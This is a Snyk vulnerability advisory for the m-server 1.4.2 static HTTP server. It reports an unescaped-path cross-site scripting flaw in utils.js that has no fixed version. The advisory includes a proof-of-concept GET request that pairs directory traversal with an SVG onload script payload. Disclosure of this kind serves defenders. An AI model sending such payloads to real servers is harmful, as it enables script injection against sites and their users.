m-server@1.4.2 vulnerabilities

M-Server is a mini http static server that without any dependencies;

Direct Vulnerabilities

Known vulnerabilities in the m-server package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Cross-site Scripting (XSS)

m-server is a mini http static server that without any dependencies.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). In m-server/lib/utils.js line 59 and 64, html push does not escapeHtml for variable path. By changing the path of URL via traversal, attacker can control this variable path.

PoC

GET /../../../../home/vagrant/tmp/test/<svg/onload=alert(document.domain)>/../../../test/ HTTP/1.1
Host: 192.168.57.105:3001
User-Agent: curl/7.54.0
Accept: */*
Connection: close

How to fix Cross-site Scripting (XSS)?

There is no fixed version for m-server.

*